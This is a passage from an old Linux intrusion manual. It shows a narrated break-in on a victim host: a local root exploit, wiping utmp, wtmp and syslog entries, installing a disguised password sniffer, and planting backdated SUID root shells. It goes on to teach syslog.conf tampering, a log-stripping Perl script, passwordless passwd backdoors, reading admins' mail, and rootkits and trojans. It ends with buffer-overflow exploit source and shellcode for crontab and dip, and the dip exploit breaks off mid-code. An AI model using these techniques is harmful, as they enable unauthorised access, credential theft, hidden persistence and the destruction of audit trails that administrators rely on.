  my($m,$d,$y)=@_;
  my($Ny,$N4,$N100,$N400,$dayofyear,$days)=();
  my($cc,$yy)=();

  $y=~ /^(\d{2})(\d{2})$/;
  ($cc,$yy)=($1,$2);

  # Number of full years since Dec 31, 0999
  $Ny=$y-1000;

  # Number of full 4th years (incl. 1000) since Dec 31, 0999
  $N4=int(($Ny-1)/4)+1;
  $N4=0         if ($y==1000);

  # Number of full 100th years (incl. 1000)
  $N100=$cc-9;
  $N100--       if ($yy==0);

  # Number of full 400th years
  $N400=int(($N100+1)/4);

  # Check to insure that information returns a valid day of year.
  $dayofyear=dayofyear($m,$d,$y);
  return undef if (!defined($dayofyear));

  # Compute day of year.
  $days= $Ny*365 + $N4 - $N100 + $N400 + $dayofyear;

  return $days;
}


sub dayofyear {
  my($m,$d,$y)=@_;
  my(@daysinmonth)=(31,28,31,30,31,30,31,31,30,31,30,31);
  my($daynum,$i)=();
  $daysinmonth[1]=29  if (!($y % 4));

  # Return error if we are given an invalid date.
  return undef if ($d > $daysinmonth[$m]);

  $daynum=0;
  for ($i=1; $i<$m; $i++) {
    $daynum += $daysinmonth[$i];
  }
  $daynum += $d;
  
  return $daynum;
}


## END DATE ROUTINES.
      
# End of script.

0;

--------------------- end of utmpman.pl

-------------------------
Chapter VI
Cleaning the log files
-------------------------

------------------------------
Section 6A
A walk around a hacked system
-------------------------------

I can't stress the importance of this enough! Clean, Clean!!!!  In this section
I will take you on the system first hand and show you some basics on what to
look for, and on how to wipe your presence from the system.  To start this lets
logon a system:

Here is the step by step through the basic process:

******----> see who is on the machine

[/home/master]finger @victim.net
[victim.net]
No one logged on.

******----> good no one on, we will log on

[/home/master]telnet victim.net

Trying xxx.206.xx.140...
Connected to victim.net.
Escape character is '^]'.

Welcome to Victim Research Linux (http://www.victim.net) Red Hat 2.1
Kernel 1.2.13 on a i586


ns.victim.net login: jnsmith
Password:
Linux 1.2.13.
You have new mail.

******----> Don't read his mail, you can cat all mail in /var/spool/mail
            and in each users /home/username/mail directory

******----> Check again to see if anyone is on

[jnsmith@ns jnsmith]$ w

5:36am  up 18 days,  8:23,  1 user,  load average: 0.01, 0.00, 0.00
User     tty       login@  idle   JCPU   PCPU  what
jnsmith   ttyp1     5:35am                      w

******----> Just me, lets get root and get lost in the utmp!

[jnsmith@ns jnsmith]$ cd .term

******----> Nice directory to hide stuff ;)

[jnsmith@ns .term]$ ./.u

******----> I had this already waiting, it was the umounc.c exploit

Discovered and Coded by Bloodmask and Vio, Covin 1996

******----> We are now root, lets use z2 to become invisible

bash# z2 jnsmith
Zap2!

******----> Let's see if we are still on ...

bash# w
5:37am  up 18 days,  8:24,  0 users,  load average: 0.08, 0.02, 0.01
User     tty       login@  idle   JCPU   PCPU  what

******----> Hmm. now there is no one on the system, i must have logged off ;)


******----> We know we are root, but lets check you you can see ...

bash# whoami
root
bash#

******----> Yup, root ..  What directory are we in?

bash# pwd
/home/jnsmith/.term

******----> Let's check the logs

bash# cd /var/log

******----> most of the time in /var/adm, this box uses /var/log

bash# grep dormroom *
maillog:Jan 29 05:31:58 ns in.telnetd[22072]: connect from dormroom.playhouse.com
maillog:Jan 29 05:35:29 ns in.telnetd[22099]: connect from dormroom.playhouse.com

******----> Yup, the z2 took care of everything but this maillog ...

bash# pico maillog

******----> in pico i did a ctrl w, and searched for dormroom then ctrl k to
            delete lines


******----> These were the lines deleted

Jan 29 05:31:58 ns in.telnetd[22072]: connect from dormroom.playhouse.com
Jan 29 05:35:29 ns in.telnetd[22099]: connect from dormroom.playhouse.com

bash# grep dormroom *

******----> Yup .. all clear ;)

bash# w
5:41am  up 18 days,  8:27,  0 users,  load average: 0.00, 0.00, 0.00
User     tty       login@  idle   JCPU   PCPU  what

******----> Yup .. all clear here too ;)

******----> Lets show you how you would use lled and wted if the grep would
            have shown something in those files

bash# cd ~jnsmith/.term
bash# lled
bash# lled -c dormroom.playhouse
Entries stored: 527 Entries removed: 0
Now chmod lastlog.tmp and copy over the original /var/log/lastlog

******----> Nothing in the lastlog

bash#
bash# wted -e jnsmith
Entries stored: 254 Entries removed: 0
Now chmod wtmp.tmp and copy over the original /var/log/wtmp

******----> Nothing in the wtmp, both of these would have shown in the grep
            we just did in the /var/log (just showing you the commands)

******----> Lets do some sniffing ...

bash# pico linsniffer.c

******----> I changed this line to tell where i want the log to go:

#define TCPLOG "/tmp/.pinetemp.000"

******----> lets look at what is running to think of a name that
            looks almost like it belongs there

bash# ps -aux

root       143  0.0  0.0   84    0  ?  SW  Jan 10   0:01 (lpd)
root       154  0.0  0.0  118    0  ?  SW  Jan 10   0:00 (smbd)
root       163  0.0  0.5   76  176  ?  S   Jan 10   0:00 nmbd -D
root       197  0.0  0.0   76    0 v03 SW  Jan 10   0:00 (getty)
root       198  0.0  0.0   76    0 v04 SW  Jan 10   0:00 (getty)
root       199  0.0  0.0   76    0 v05 SW  Jan 10   0:00 (getty)
root       200  0.0  0.0   76    0 v06 SW  Jan 10   0:00 (getty)
root       201  0.0  0.0   88    0 s00 SW  Jan 10   0:00 (uugetty)
root       209  0.0  0.2   35   76  ?  S   Jan 10   0:01 (update)
root       210  0.0  0.3   35  124  ?  S   Jan 10   0:03 update (bdflush)
root     10709  0.0  1.4  152  452  ?  S   Jan 27   0:10 httpd
root     11111  0.0  1.4  152  452  ?  S   Jan 27   0:07 httpd
root     14153  0.0  0.8   70  268  ?  S   Jan 16   0:03 ./inetd
root     14307  0.0  4.7 1142 1484  ?  S   Jan 16   1:16 ./named
root     14365  0.0  0.0   76    0 v02 SW  Jan 16   0:00 (getty)
root     17367  0.0  1.4  152  452  ?  S    11:01   0:02 httpd

******----> lets compile it and name it nmb

bash# gcc linsniffer.c -o nmb

******----> lets load it ...

bash# nmb&
[1] 22171

******----> lets check the log file in /tmp

bash#
bash# cd /tmp
bash# ls -al .pin*
total 15691
-rw-rw-r--   1 root     jnsmith          0 Jan 29 05:50 .pinetemp.000

******----> There it is, but we don't want our login to know about it!

bash# chgrp root .pin*

******----> Lets look now ....

bash# ls -al .pin*
-rw-rw-r--   1 root     root            0 Jan 29 05:50 .pinttemp.000
bash#

******----> This is good, Lets make an SUID shell so we don't have to
            do this again.  (check for MD5 or other programs in the cron)

bash# cd /bin
bash# ls -l sh
lrwxrwxrwx   1 root     root            4 Mar  1  1996 sh -> bash

******----> This is a sym link ...

bash# ls -l bash
-rwxr-xr-x   1 root     root       299296 Nov  2  1995 bash

******----> here is the real file ... lets see what to name it that
            looks like it belongs

bash# ls
arch           df             ksh            ping           tar
ash            dmesg          ln             ps             tcsh
bash           dnsdomainname  login          pwd            true
cat            domainname     ls             red            ttysnoops
chgrp          echo           mail           rm             umount
chmod          ed             mkdir          rmdir          uname
chown          false          mknod          sed            vi
cp             findterm       more           setserial      view
cpio           gunzip         mount          sh             vim
csh            gzip           mt             stty           zcat
date           hostname       mv             su             zsh
dd             kill           netstat        sync

******----> How about a new command in linux, most admin's won't know
            the difference ;)  We will call it findhost

bash# cp bash findhost

******----> ok, now lets have a look at our new unix command ...

bash# ls -l findhost
-rwxr-xr-x   1 root     jnsmith     299296 Jan 29 05:59 findhost

******----> We need to change the group owner, touch the file date,
            and make it SUID

bash# chgrp root findhost
bash# ls -l findhost
-rwxr-xr-x   1 root     root       299296 Jan 29 05:59 findhost

bash# chmod +s findhost
bash# ls -l findhost
-rwsr-sr-x   1 root     root       299296 Jan 29 05:59 findhost

bash# touch -t 111312331995 findhost
bash# ls -l findhost
-rwsr-sr-x   1 root     root       299296 Nov 13  1995 findhost

bash# ls -l m*
-rwxr-xr-x   1 root     root        64400 Oct 31  1995 mail
-rwxr-xr-x   1 root     root         7689 Nov  2  1995 mkdir
-rwxr-xr-x   1 root     root         7001 Nov  2  1995 mknod
-rwxr-xr-x   1 root     root        20272 Nov  1  1995 more
-rwsr-xr-x   1 root     root        26192 Nov  1  1995 mount
-rwxr-xr-x   1 root     root         8381 Oct 31  1995 mt
-rwxr-xr-x   1 root     root        12753 Nov  2  1995 mv

******----> Now it looks like it belongs ... lets see if
            it gives us root, exit our current root shell..

bash# exit

[jnsmith@ns .term]$ cd /bin
[jnsmith@ns /bin]$ whoami
jnsmith
[jnsmith@ns /bin]$ findhost
[jnsmith@ns /bin]# whoami
root

[jnsmith@ns /bin]# cd

******----> cd {enter} takes us back to our home dir

[jnsmith@ns jnsmith]# ls
mail
[jnsmith@ns jnsmith]# echo + +>test
[jnsmith@ns jnsmith]# ls -l
total 2
drwx------   2 jnsmith   jnsmith       1024 Jan 11 22:47 mail
-rw-rw-r--   1 root      root            4 Jan 29 06:11 test

******----> See now we are uid=0 gid=0

[jnsmith@ns jnsmith]# rm test

******----> clean as we go .....

[jnsmith@ns jnsmith]# w
6:12am  up 18 days,  8:58,  0 users,  load average: 0.07, 0.02, 0.00
User     tty       login@  idle   JCPU   PCPU  what

******----> Just making sure we are still alone ....

[jnsmith@ns jnsmith]# ls -al /tmp/.p*
total 15692
-rw-rw-r--   1 root     root          157 Jan 29 06:10 .pinttemp.000

******----> were getting passwords already ;)

[jnsmith@ns jnsmith]# ls -al
total 32
drwxrwx---   5 jnsmith   jnsmith   1024 Jan 29 06:11 .
drwxr-xr-x  33 root      users     1024 Jan 22 16:53 ..
-rw-r-----   1 jnsmith   jnsmith   1126 Aug 23  1995 .Xdefaults
lrwxrwxrwx   1 jnsmith   jnsmith      9 Jan  1 21:40 .bash_history -> /dev/null
-rw-r--r--   1 root      jnsmith     24 Jan  1 03:12 .bash_logout
-rw-r--r--   1 root      jnsmith    220 Jan  1 03:12 .bash_profile
-rw-r--r--   1 root      jnsmith    124 Jan  1 03:12 .bashrc
-rw-rw-r--   1 root      jnsmith   5433 Jan 11 22:47 .pinerc
drwxrwxr-x   2 jnsmith   jnsmith   1024 Jan 29 06:22 .term
drwxr-x---   2 jnsmith   jnsmith   1024 Feb 17  1996 .xfm
drwx------   2 jnsmith   jnsmith   1024 Jan 11 22:47 mail
[jnsmith@ns jnsmith]#

******----> Make sure you place this sys link .bash_history to /dev/null so
            you do not leave a history behind...

This is the command to do it, but make sure you delete the old .bash_history
if it is there.

ln -s /dev/null .bash_history

Ok logout ...

Ok, there is another way!!!!!!

If you can remember and make it a practice that you NEVER forget, get used to
this.... EVERY TIME you login to an account type: unset HISTFILE

This will tell the system to delete your history file when you logoff the
system...   USE THIS!  Get into the practice!  DON'T FORGET!

-----------
Section 6B
messages and syslog
-----------

In the log directory you will find a file called 'messages' each system is
different as far as what is logged to what files or what file name.  Make
sure to check in the /etc/syslog.conf file for additional logging to
remote machines.  If this is being done you will see something like this:

*.*                                 @somehostname.xxx

Or just to check and see where the log files are going you can view this file
/etc/syslog.conf.

Here is a sample...

bash# more syslog.conf
# /etc/syslog.conf
# For info about the format of this file, see "man syslog.conf" (the BSD man
# page), and /usr/doc/sysklogd/README.linux.
#
# NOTE: YOU HAVE TO USE TABS HERE - NOT SPACES.
# I don't know why.
#

*.=info;*.=notice                               /var/adm/messages
*.=debug                                        /var/adm/debug
*.warn                                          /var/adm/syslog
*.warn                                          /root/.../syslog
*.=crit;kern.none                               /var/adm/critical
kern.info;kern.!err                             /var/adm/kernel-info
mail.*;mail.!=info                              /root/.../mail
mail,news.=info                                 /root/.../info
mail.*;mail.!=info                              /var/adm/mail
mail,news.=info                                 /var/adm/info
*.alert                                         root,bob
*.=info;*.=notice                               @quality.com
*.=debug                                        @quality.com
*.warn                                          @quality.com
*.=crit;kern.none                               @quality.com
kern.info;kern.!err                             @quality.com
mail.*;mail.!=info                              @quality.com
mail,news.=info                                 @quality.com

Here some of the logs are going into a hidden directory in the /root directory
and a copy of every alert and warning are being also sent to the logs at
quality.com.  wtmp, utmp and lastlog are still local, so you can still be
ok, just make sure not to use 'su' on a system like this.  Also notice above
that alert messages are being mailed to root and bob on this system.

Also take note that syslog, mail, and, info are being sent to the /var/adm
directory to fool you into thinking all of the logs are in /var/adm!  If you
edit /var/adm the admin can run a diff on the backup files in the /root dir.

Ok, so you go to the /var/adm or /var/log directory and:

grep yourhost * |more
grep your ip * |more

you see that some files are logging your connection, mark down what files
are logging you and edit the /etc/syslog.conf file.  You will from trial
and error in most cases make it skip the logging process of your domain.

BUT, make sure to do a few things.  After you edit the file restart the
syslogd.  You can do this by doing a ps -x

$root> ps -x

39  ?  S    1:29 /usr/sbin/syslogd

find the syslogd and notice the process id here is 39, so you do:

kill -HUP 39

This will restart the process and put your changes into effect.

The other thing is to make sure to do a ls -l /etc/syslog.conf BEFORE you
edit it and touch the file date back to the original date and time after
you edit it.  This way if they notice the logging looks different, they
will check the file date and think it must be something else.  Most admins
would not know how to setup this file in the first place, so you in some
(or most) cases ok to edit it.

Here is another file to look at.

/etc/login.defs

# Enable "syslog" logging of su activity - in addition to sulog file logging
# SYSLOG_SG_ENAB does the same for newgrp and sg.
#
SYSLOG_SU_ENAB          yes
SYSLOG_SG_ENAB          yes
#
# If defined, all su activity is logged to this file
#
SULOG_FILE      /home/users/bob/.list

Notice here that there is an su log file in a hidden file in one of
the admin's directories.

-----------
Section 6C
xferlog
-----------

The xferlog can be edited with your favorite text editor, pico, joe, vi, etc..
you can then search for your transfers and delete the lines and save the file.
You will need to do this after transferring any files.

You will also want to grep the files in the /usr/local/etc/httpd/log directory
if you have used the web or phf on the system to remove your presence
from there.

grep (username or hostname) * |more

If you need to find the logs for httpd you can do a find -name httpd.conf
-print and view the config file you see where the httpd logs are going.

There might be different ftp logs for transfers in some ftp or virtual ftp
directory some where.  View the files in the /etc/ftp* to find what the ftp
setup is on the box.

Here I have shown you to edit log files using pico, joe, or other editors.

There is another way... Sometimes log files might be real large and the editor just might
not cut it ;)  Here is what to do...

You have a messages file 20 meg ... wow!

If you want to get the lines that have fudge.candy.com out of this file you
might want to do this:

grep -v fudge.candy >messages.2
rm messages
mv messages2 messages

then kill -HUP <process id for syslogd>

-v means grep everything that does not match the line, so you are greping
the file -what you do not want to a new file name messages.2.  Check the
file size after the grep to make sure no errors were made and replace the
old one with the new one and restart syslogd.

This can also be used with other logs like xferlog, syslog, etc...

Here is a perl script that will do it for you from command line.

------------------- start of riptext.pl
#!/usr/bin/perl
#
# RipText - Takes regular expression and filename argument from @ARGV. Any 
#           lines MATCHING regular expression will *not* be printed to 
#           STDOUT. 
# 
#

die("\nUsage: riptext [regexp] {filename}\n\n") if (!defined($ARGV[0]));
($regexp, $filename) = @ARGV[0,1];

# Read in contents of file.
$/ = undef;
$contents="";
if (!defined($filename)) {
  # Use STDIN.
  $contents = scalar <STDIN>;
} else {
  # Use FILE.
  open(FILE, "<$filename") || die("-RipText- Cannot open $filename: $!\n");
  $contents = scalar <FILE>;
  close(FILE);
}

@contents = split(/\n/, $contents);

# Strip file of matching lines.
open(FILE, ">$filename") || die("-RipText- Cannot write $filename: $!\n");
foreach (@contents) {
  print FILE "$_\n" unless (/$regexp/i);
}
close(FILE);

0;

------------------------ end of riptext.pl

Remember to restart syslogd after you edit files, true you will not see
the stuff, and it will be gone to your eyes, but if you do not restart the
process, the data is still in memory and can be retrieved until you restart
the process!

Also look for notes in the syslog that the syslogd process was restarted at
such and such a time.

---------------
Section 6D
The cron table
---------------

Make sure to look at admin's and root cron files, here in this system we find
a root cron file in: /var/spool/cron/crontabs
bash# ls -l
total 1
-rw-------   1 root     root          851 Jan 26 14:14 root

bash$ more root
# This updates the database for 'locate' every day:
40 07 * * *       updatedb 1> /dev/null 2> /dev/null
40 */12 * * *       /sbin/checkfs

there is a file running here in /sbin called checkfs.

bash$ cd /sbin
bash$ /sbin # more checkfs
#!/bin/bash

if [ ! -f /etc/default/fs/.check ]; then
  echo WARNING!! Filecheck default file cannot be found. Please regenerate.
    exit
    fi

md5sum /usr/bin/* > /tmp/filecheck 2>/dev/null
md5sum /usr/sbin/* >> /tmp/filecheck 2>/dev/null
md5sum /sbin/* >> /tmp/filecheck 2>/dev/null
md5sum /bin/* >> /tmp/filecheck 2>/dev/null
md5sum /usr/local/bin/* >> /tmp/filecheck 2>/dev/null
md5sum /usr/local/sbin/* >> /tmp/filecheck 2>/dev/null
md5sum /lib/* >> /tmp/filecheck 2>/dev/null
md5sum /usr/lib/* >> /tmp/filecheck 2>/dev/null
diff /tmp/filecheck /etc/default/fs/.check > /tmp/filecheck2 2>&1

if [ -s /tmp/filecheck2 ]; then
  mail -s FSCheck bin < /tmp/filecheck2
  fi

rm /tmp/filecheck /tmp/filecheck2 2>/dev/null

md5 is a checksum file, if you change or add a binary file to any of the
above directories the information of the changes will be mailed to the
admin.

------------------------------
Chapter 7
Keeping access to the machine
------------------------------

There are many ways to keep access to the machine, you will loose
access to many as you as you are learning, but I hope with this manual
and some experience you will become a stable hacker.

Section 7A
Tricks of the trade

Here are some 'tricks' of the trade that will help you keep access
to the machine.  After a system admin has found you out, they will be watching
for you and going through everything on the system.  They will go as far as
recompiling binary files, changing everyone's passwords, denying your host you
came in from to the machine, going through the passwd or shadow file, looking
for SUID files, etc....

When you see that you have been found out, do not try to get access to the
system again.  I have seen others right after being cought, try everyone of
their trojans, other accounts, and other backdoor's they placed for continued
access.  Well think about it, they are watching for you ... you are showing
them every in that you have to the system, and every exploitable file you
are making known to them.

NO!  WAIT!  Give it a few months, they will think everything is ok, and they
will relax and you can come in with one of the backdoor's they missed, and you
can do your thing on the logs for all of the attempts you made on the system
to get back in.

Ok here are some tricks of the trade.

History Files:
--------------
Always put your .bash_history to /dev/null, if you don't make sure you at least
edit it.  Remember the .bash_history will always have your last commands until
the logoff.  So if you edit it, it will show that you are editing it. You might
try changing your shell and editing it there, but this all seems like a pain,
just set it to /dev/null

1. Delete the file in the user directory .bash_history if it there.
2. Type this command in the home directory: ln -s /dev/null .bash_history

Nested directory:
-----------------
Always find a directory on the system to hide your files.  There are a few good
ones that most users never look into.

In the users home directory look for .term, all you will find in this directory
is an executable file called termrc.  Admin's and users alike are used to seeing this
hidden directory, and never EVER go into it.  if they did what do you think
they would say to an executable file being in there called termrc?  You are right!
Nothing .... it belongs there and it is what they expect to see there.

So lets say we make termrc a little bigger, and add suid perm's ... are you
getting the idea???? I hope you guessed it... go to the /bin directory and
type cp bash (or sh whatever is there) ~username/.term/termrc
then type : chown root ~username/.term/termrc
          : chgrp root ~username/.term/termrc
          : chmod +s ~username/.term/termrc

Now you have a nested file that can get you root on the system any time that
will not be easy for the admin to find.  If you want to get fancy, touch
the file date to make it look like an older file.

Another directory off the user accounts expected to be there and unused would
be .elm, .term or Mail, or try making a directory called '...' this is harder
to notice seeing the first directories that show are . and .., so it can go
un-noticed easy.  This is how it would look if they did a long ls:

1024 Jan 29 21:03 .
1024 Dec 28 00:12 ..
1024 Jan 29 21:03 ...
 509 Mar 02  1996 .bash_history
  22 Feb 20  1996 .forward
 164 May 18  1996 .kermrc
  34 Jun 06  1993 .less
 114 Nov 23  1993 .lessrc
1024 May 18  1996 .term
1024 May 19  1996 public_html

see how it seems to just fit into place?

but if it was just a ls -l, this is what would be seen:

1024 May 19  1996 public_html

Remember you can always look for some REAL LONG file path that you are sure
that no one would ever even want to enter into, and use this for your nested
directory.  You can even make your own directory there like:(...) ;)


Making new commands
--------------------
After you check the cron to see if there is md5 being used there, you might
want to either copy one of your exploits to another filename in the system,
or maybe just overwrite a command that you know would never be used.  If
you copy to a new file name make sure you touch the file date.  This is not
so long lasting because sooner or later they will patch the exploit and your
new file you made will not work anymore.

It is better to use a shell for the new filename, and then make it suid.

Adding or changing passwd entry's
---------------------------------
Another backdoor that you can use is to add a new user to the passwd file.
This needs to be done with caution making it look like it belongs there.
Never use your passwd addition, never login, it is just for a backup in case
you loose access.

There are different thoughts here: you do not have to make it a root account
that could cause notice to it right away.  You know you can have root any time
you want it.  Lets practice ...

We want to make our account look like it belongs, so lets keep to the top of
the file.

root:fVi3YqWnkd4rY:0:0:root:/root:/bin/bash
sysop:mZjb4XjnJT1Ys:582:200:System Operator:/home/sysop:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/usr/lib/news:
uucp:*:10:14:uucp:/var/spool/uucppublic:
operator:*:11:0:operator:/root:/bin/bash
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:*:65535:100:nobody:/dev/null:
ftp:*:404:1::/home/ftp:/bin/bash

Looking at the above passwd file leaves us a few options so i will just list
them here.

1. Look at the user line for operator, ftp, and postmaster.  All of these
accounts have shells with no passwd's set yet.  From your shell just type:

passwd postmaster

Set the account with no passwd by just pressing enter.  Now you will be able
to log into this account any time without a password and the file will still
look right to the admin.

2. add this line to the passwd file:

syst::13:12:system:/var/spool:/bin/bash

Place it in the file where it seems to flow.  You can leave the :: for the
passwd or set the passwd to what you want by typing: passwd syst from the
root shell.  Set the group and id above to what you like.


3. Look at the line above for sync

sync:*:5:0:sync:/sbin:/bin/sync

Change this to :

sync:*:5:0:sync:/sbin:/bin/bash and then run <passwd sync> and leave the passwd
blank.  (or set a passwd don't matter) On this account we are even gid=0 <G>rin

Installing games
----------------

You could always install exploitable doom or abuse into the system if they
already have games installed.  I will include the root exploits for these
games below in the appendix.

Always be watching
------------------

Always know who the admin's are on a system, you can find them by looking at
the passwd file to see home directories, placement of the uid, group access
accounts, and ALWAYS read all of the bash_history files in the user directories
to see who is using admin commands.  You will also learn allot of new commands
from reading history files, but you want to know who is who on the system.
Get to know your system well. Look for users using su:  View the log files
to see who is using admin commands.

Always be watching the system, keep track of who is on while you are.  Watch
the admin's history to see what commands they are using, ttysnoops? too many
ps commands?  finger commands after ps or w or who commands will show they
are watching what other users on the system are doing.  Watch your admin's
and get to know how aware they are of users on their system.

Reading system mail

Rember first NEVER to use system mail programs!  They will be able to tell you
are reading their mail.  I use a combo of a few things.  Here you go...

1. cd /var/spool/mail

This will put you into the directory that holds all of the unread mail, or
waiting mail.  Now you can do things like:

grep -i security * |more
grep -i hack * |more
grep -i intruder * |more
grep -i passwd * |more
grep -i password * |more

Then if needed pico username, and ctrl w to search for your maeesge.  You
can also delete messages if you see some other admin is telling them that
your user name is hacking their machine from their domain.

For a mail reader that will allow toy to read mail without updating pointers
try:

http://obsidian.cse.fau.edu/~fc
has a util on it that can cat /var/spool/mail files without changing the
last read dates.. ie they have no idea that you have read their mail.

Also remember you can find other system mail in user's directories.  Make sure
to look in the /root directory.  Look for /root/mail or username/mail or other
directories or filders that contain older mail.

Happy Hunting ...

--------------------------------
Section 7B
Root and Demon kits and trojans
--------------------------------

Root kits are C source for ps, login, netstat and sometimes some other
programs that have been hacked for you.  With these kits you will be
able to replace the login files on the hacked box so that you can login
without an account on the machine.

You will also be able to patch ps so that you will not show up when an
admin uses the ps command.  With the ps patch you can also have it not show
processes that have certain file names such as any file that starts with
'sniff'.

Demon kits will have hacked programs for identd, login demon, ping, su,
telnetd, and, socket.

Trojans will be any file that you can use that will allow you to exploit
the system in some way.  An su trojan placed in the admin's directory would
run the trojan su first after you change the export path for him ;) and report
back that he typed the wrong passwd and delete the trojan file, but saving
the password he typed to the /tmp directory.

A login trojan would save all login passwords to a file on the machine
for you.  I think you get the idea ;)

Demon and Linux root kits have been uuencoded and attached to the end of
appendix VI

******************************************
* Appendix I - Things to do after access *
******************************************


I think in this paper we have covered most of the things  you can do after
access, so I will make this in the style of a checklist from a to z.

a. learn who the admin's are on the system
b. watch the system with ps -auxe and ps -auxef (if it works) and pstree to
   try and keep track of what others are doing
c. read all of the bash history files or any history files you can find on the
   machine to learn more yourself, and to learn about the users
d. make as many backdoor's into the system as you can that you are sure will
   not be found out
e. keep the access to yourself, don't give out users passwords on the machine
   you get root on.
f. always clean your utmp and wtmp right away when you login
g. always clean your mess as you go along, this includes your xferlog and
   messages
h. if you have root access make sure to read /etc/syslog.conf and
   /etc/login.defs to see how the system is logging
i. before changing binary files look at the root cron to see what they are
   running.
j. look for md5 on the system
k. look for separate ftp logs
l. make sure to clean the www logs if you ever send phf commands to the server
m. make an suid root shell and place it somewhere on the system
n. do only what you are sure of, don't do everything in this hacking manual all
   at once or you are asking to get cought
o. only use nested directories, do not put files into user directories where
   all they need to do is type ls to see them
p. don't add user accounts and think they will not notice you.
q. don't use pine or other mail programs to read users mail. if you want to
   read mail go to the mail dir and read it from unix, new mail you will find
   in /var/spool/mail read it there.
r. don't change the system so that other programs they have running will not
   work any more, they will be on you like fly's on shit
s. don't delete files on the system unless you put them there
t. do not modify their web pages, like i was here ... you are not a hacker you
   are a little kid wanting attention
u. do not change any passwords on the system (unless you are doing it for
   access and have backed up the passwd file and replace it right after you
   login
v. do not use any root account machines for irc access, or to load a bot on
w. if your root account changes or you create files that are owned by the
   wrong group, be sure to chown the files
x. do not use .rhosts if there is already one there that is being used
y. never telnet or ftp to your account from the hacked box
z. don't fuck up their machine! only do what you know how to do.

****************************************************
* Appendix II - Hacking / Security WWW / ftp sites *
****************************************************

IRC QuantumG #virus
Quantum's Linux Page
http://obsidian.me.fau.edu/~quantum
Nice site for a bit of info and unix exploits!

CyberToast's Files section
Here you will find a nice selection of hacking, crackers, hex editors, viruses,
cracks, phreaking, war dialers, scanners, and, misc files.
www.ilf.net/~toast/files

Reptiles Realm
A nice site for many linux exploits
www.users.interport.net/~reptile/linux

FTP site loaded with all kinds of IRC, BOTS, UNIX EXPLOITS, VIRUSES and ZINES!
http://ftp.giga.or.at/pub/hacker

Linux Security Digest
Lot's to look at here
http://king.dom.de/~un/linux-security

Linux Security Alert
http://bach.cis.temple.edu/linux/linux-security/Linux-Alerts

The Linux Security Home Page
http://www.ecst.csuchico.edu/~jtmurphy

These are good sites just to get you started, there are many links on these.
Just make sure to browse in your favorite engine and search for words like:
hack, linux, unix, crack ect....

*********************************************************
* Appendix III - More exploits for root or other access *
*********************************************************


..........................................................................
.                                                                        .
. 1. vixie crontab buffer overflow for RedHat Linux                      .
..........................................................................

If crontab is suid it is more then likely exploitable.


-----------cut here

/* vixie crontab buffer overflow for RedHat Linux
 *
 * I don't think too many people know that redhat uses vixie crontab.
 * I didn't find this, just exploited it.
 *
 *
 * Dave G. <daveg@escape.com>
 * 10/13/96
 *
 */
 
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
 
#define DEFAULT_OFFSET          -1240
#define BUFFER_SIZE             100     /* MAX_TEMPSTR is 100 */
#define HAPPY_FILE              "./Window"
 
long get_esp(void)
{
   __asm__("movl %esp,%eax\n");
}
 
main(int argc, char **argv)
{
   int fd;
   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;
  u_char execshell[] = 
   "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
   "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
   "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
 
 
  
/*
 * The sscanf line reads for 'name' as %[^ =].  Neither a space, nor
 * a '=' character appears below
 */
 
   
   int i;
   int ofs = DEFAULT_OFFSET;
 
   /* if we have a argument, use it as offset, else use default */
   if(argc == 2)
      ofs = atoi(argv[1]);   
   else if (argc > 2) {
      fprintf(stderr, "egg [offset]\n");
      exit(-1);
   }
   /* print the offset in use */
   printf("Using offset of esp + %d (%x)\n", ofs, get_esp()+ofs);
   
   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);
   }
   ptr = buff;
   /* fill start of buffer with nops */
   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
   ptr += BUFFER_SIZE-strlen(execshell);
   /* stick asm code into the buffer */
   for(i=0;i < strlen(execshell);i++) 
      *(ptr++) = execshell[i];
   
   addr_ptr = (long *)ptr;
   for(i=0;i < (878/4);i++)
      *(addr_ptr++) = get_esp() + ofs;
   ptr = (char *)addr_ptr;
   *ptr++ = '=';
   *ptr++ = 'X';
   *ptr++ = '\n';
   *ptr = 0;
   printf("Writing to %s\n", HAPPY_FILE);
 
/*
 * The sleep is required because as soon as crontab opens the tmp file it
 * stat's and saves it.  After the EDITOR program exists it stats again
 * and if they are equal then it assumes changes weren't made and exits.
 */
   fd = open(HAPPY_FILE, O_WRONLY|O_CREAT, 0666);
   write (fd, buff, strlen(buff));
 
   close(fd);
 
   execl("/usr/bin/crontab","crontab",HAPPY_FILE,NULL); 
   /* Successful completion */
   exit(0);
}
----------- cut here

..........................................................................
.                                                                        .
.  2. Root dip exploit                                                   .
.                                                                        .
..........................................................................

in /sbin you will find a symbolic link called dip to a suid root binary.
Chances are, if this file is suid, it's sploitable.

-------- cut here

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>
#define PATH_DIP "/sbin/dip"
u_char shell[] = 
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/tmp/hs";
u_long esp() { __asm__("movl %esp, %eax"); }
main()
{
  u_char buf[1024];
  u_long addr;
  int i, f;

  strcpy(buf, "chatkey ");
  addr = esp() - 192;
  for (i=8; i<128+16; i+=4)
    *((u_long *) (buf+i)) = addr;
  for (i=128+16; i<512; i++)
    buf[i] = 0x90;
  for (i=0; i<strlen(shell); i++)
